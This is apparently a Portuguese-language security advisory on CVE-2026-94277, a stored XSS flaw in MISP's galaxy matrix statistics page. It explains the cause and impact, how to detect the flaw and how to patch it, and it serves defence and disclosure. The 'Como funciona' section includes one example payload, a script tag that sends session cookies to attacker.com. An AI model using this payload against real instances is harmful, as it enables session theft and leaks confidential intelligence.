O que aconteceu

Em setembro de 2026, foi publicada a CVE-2026-94277, uma vulnerabilidade de Cross-Site Scripting (XSS) identificada no MISP (Malware Information Sharing Platform), uma das plataformas de inteligência de ameacas mais utilizadas por equipes de segurança no mundo inteiro.

A falha está na view de estatisticas de galaxy matrix, especificamente no arquivo app/View/Users/statistics_galaxymatrix.ctp. Nesse arquivo, o nome de cada galaxy e inserido diretamente na saida HTML via sprintf() sem nenhum tipo de encoding ou sanitização. Isso significa que qualquer usuário autenticado com a permissão perm_galaxy_editor pode criar ou modificar um galaxy cujo nome contenha HTML ou JavaScript arbitrário, e esse código será executado no navegador de qualquer outro usuário que acessar a página de estatisticas.

O MISP e amplamente adotado por CERTs, equipes de SOC, provedores de segurança gerenciada (MSSPs) e pesquisadores para compartilhar indicadores de comprometimento (IoCs) e inteligência de ameacas estruturada. Uma falha nessa plataforma pode comprometer a confidencialidade de investigações, credenciais de usuários e a integridade dos dados compartilhados entre organizações.

Como funciona

O mecanismo da vulnerabilidade e direto: a função PHP sprintf() e usada para montar blocos HTML que incluem o nome do galaxy. Como o valor não passa por h() (helper de escape do CakePHP) nem por htmlspecialchars() antes de ser inserido no HTML, qualquer caractere especial como <, > e " permanece literal na página.

Um atacante com acesso de edição de galaxies cria um galaxy com nome como:

Malware Stats<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Quando um administrador ou outro analista acessa a página /users/statistics_galaxymatrix, o JavaScript e executado no contexto do domínio MISP, podendo roubar cookies de sessao, tokens CSRF, credenciais salvas ou redirecionar o usuário para páginas falsas.

Esse tipo de ataque e classificado como XSS armazenado (stored XSS) porque o payload e persistido no banco de dados do MISP e executado toda vez que a página de estatisticas e carregada, afetando potencialmente multiplos usuários de forma continua.

Quem foi afetado

Qualquer instância MISP que:

  • Permite que usuários com perm_galaxy_editor criem ou editem galaxies;
  • Não aplicou o patch correspondente a CVE-2026-94277;
  • Tem a página de estatisticas de galaxy matrix acessível a outros usuários autenticados.

O MISP e usado por centenas de organizações globalmente, incluindo governos, empresas de tecnologia, instituições financeiras e grupos de resposta a incidentes. Instâncias compartilhadas entre parceiros de confianca são as mais críticas, pois um usuário malicioso ou comprometido em uma organização pode afetar analistas de outras organizações participantes da mesma instância.

A permissão perm_galaxy_editor e comumente concedida a analistas de inteligência e pesquisadores que contribuem com dados de ameacas, o que amplia a superfice de ataque potencial dentro de organizações com muitos colaboradores.

Como identificar

Para verificar se uma instância MISP está vulnerável, siga os passos abaixo:

  • Verifique a versão do MISP em uso acessando /users/view/me ou via CLI com git -C /var/www/MISP log --oneline -1. Versões sem o commit de correção da CVE-2026-94277 estão vulneráveis.
  • Acesse /users/statistics_galaxymatrix como administrador e inspecione o HTML fonte da página. Procure por nomes de galaxies que contenham tags HTML não escapadas.
  • Audite os logs de acesso do servidor web em busca de requisições a essa rota com User-Agents incomuns ou originados de IPs externos inesperados.
  • Verifique galaxies recentemente criados ou modificados por usuários com perm_galaxy_editor em busca de nomes suspeitos contendo caracteres HTML como <, > ou JavaScript:.

Uma forma rapida de verificar via linha de comando na própria instância:

grep -n 'galaxy\[\x27name\x27\]' /var/www/MISP/app/View/Users/statistics_galaxymatrix.ctp

Se a saida mostrar o nome sendo inserido sem h() em volta, a instância está vulnerável.

Como se proteger

A mitigação principal e atualizar o MISP para a versão que inclui o patch da CVE-2026-94277. O projeto MISP e mantido no GitHub e recebe atualizações frequentes. Para atualizar:

cd /var/www/MISP
git pull origin 2.4
sudo -u www-data php composer.phar install --no-dev
sudo -u www-data php /var/www/MISP/app/Console/cake Admin runUpdates

Como medida paliativa imediata enquanto o patch não e aplicado:

  • Restrinja ou remova a permissão perm_galaxy_editor de usuários não essenciais;
  • Desabilite temporariamente o acesso a página /users/statistics_galaxymatrix via regra de WAF ou restrição no servidor web;
  • Implemente uma Content Security Policy (CSP) no MISP que bloqueie execução de scripts inline: Content-Security-Policy: script-src 'self';
  • Monitore ativamente os logs de acesso para detecção de anomalias na página de estatisticas.

Após aplicar o patch, revise todos os galaxies criados por usuários com perm_galaxy_editor nos últimos 30 dias e remova qualquer nome suspeito que contenha HTML ou JavaScript.

Comparação com casos anteriores

Vulnerabilidades de XSS em plataformas de threat intelligence não são novidade. Em 2019, o OpenCTI sofreu com falhas similares de encoding em campos de texto livre de entidades. Em 2021, outra plataforma popular de CTI foi afetada por XSS em campos de descrição de TTPs do MITRE ATT&CK.

O que torna CVE-2026-94277 particularmente relevante e o contexto: o MISP e usado justamente por equipes de segurança para compartilhar informações sobre atacantes. Um XSS nessa plataforma pode ser usado pelo próprio adversario para comprometer analistas que investigam suas campanhas, num ataque de contra-inteligência sofisticado.

Historicamente, o MISP tem um bom histórico de resposta rapida a vulnerabilidades reportadas, com patches geralmente publicados em poucos dias após a divulgação responsável. Isso reforca a importancia de manter instâncias atualizadas e assinadas ao canal de segurança do projeto.

Análise técnica

CVE ID: CVE-2026-94277
Tipo: Cross-Site Scripting (XSS) Armazenado
Componente afetado: app/View/Users/statistics_galaxymatrix.ctp
Vetor de ataque: Rede (usuário autenticado com perm_galaxy_editor)
Autenticação exigida: Sim (permissão específica necessária)

A causa raiz e clássica em aplicações PHP legadas: interpolação direta de variaveis de usuário em templates HTML sem uso de funções de escape. O CakePHP, framework usado pelo MISP, oferece o helper h() exatamente para isso, e sua ausencia nessa view e o único gatilho da vulnerabilidade.

A correção e trivial do ponto de vista de código: envolver a variavel com <?php echo h($galaxy['name']); ?> em vez de incluir diretamente via sprintf(). A complexidade está em garantir que todos os pontos de saida de dados controlados por usuário na view sejam cobertos, não apenas o campo de nome.

Embora não haja CVSS score publicado ainda no momento desta análise, XSS armazenados com contexto de sessao administrativa tipicamente recebem scores entre 6.5 e 8.0 no CVSS 3.1, dependendo da extensão do impacto sobre confidencialidade e integridade.

Impacto e consequencias

Os impactos potenciais de uma exploração bem-sucedida incluem:

  • Roubo de sessao: Cookies de sessao de administradores ou analistas capturados e usados para acesso não autorizado a toda a instância MISP, incluindo dados de inteligência confidenciais.
  • Vazamento de IoCs sensiveis: Indicadores de comprometimento ainda em investigação, como IPs de C2 ativos, hashes de malware não publicado e TTPs de campanhas em andamento, podem ser exfiltrados pelo atacante.
  • Defacement e desinformação: Modificação da interface para exibir informações falsas de ameacas, potencialmente induzindo erros em equipes de resposta a incidentes.
  • Comprometimento de confianca entre organizações: Em instâncias compartilhadas entre parceiros, a exploração pode afetar usuários de multiplas organizações, destruindo a confianca na plataforma de compartilhamento.

Do ponto de vista juridico, dependendo da jurisdição, vazamentos de dados de clientes ou de inteligência governamental derivados de uma vulnerabilidade conhecida e não corrigida podem acarretar responsabilidade civil e regulatória para a organização que mantinha a instância.

Dicas práticas e boas práticas

  • Mantenha o MISP sempre atualizado; assine o canal de segurança em https://www.misp-project.org/security/ para receber alertas de vulnerabilidades.
  • Aplique o principio do privilegio mínimo: conceda perm_galaxy_editor apenas a usuários que realmente precisam criar galaxies.
  • Implemente uma Content Security Policy restritiva no servidor web que hospeda o MISP para mitigar impacto de XSS residuais.
  • Habilite logs de auditoria no MISP (MISP.log_auth, MISP.log_user_ips) e monitore alterações em galaxies.
  • Faca revisoes periodicas de galaxies customizados criados por usuários não-admin em busca de conteúdo suspeito.
  • Use um WAF na frente do MISP com regras de XSS ativas como camada adicional de defesa.
  • Considere isolar instâncias MISP de produção em redes segmentadas com acesso restrito a usuarias autorizados.

Conclusao: o que fazer agora

Se você administra uma instância MISP, a ação imediata e verificar a versão instalada e aplicar o patch da CVE-2026-94277 o quanto antes. Enquanto o patch não e aplicado, restrição de permissões e bloqueio temporário da página de estatisticas são medidas paliativas eficazes.

Após a correção, audite os galaxies existentes e revise os logs de acesso da página afetada para verificar se houve exploração antes do patch. Considere também uma auditoria mais ampla das views do MISP que renderizam dados controlados por usuário, pois padrões de código similares podem existir em outros templates.

A velocidade de resposta importa: instâncias MISP não atualizadas em ambientes corporativos são alvos atrativos para grupos APT que sabem que equipes de blue team dependem dessas plataformas para suas investigações. Manter a própria infraestrutura de segurança protegida e tao crítico quanto proteger os sistemas que ela monitora.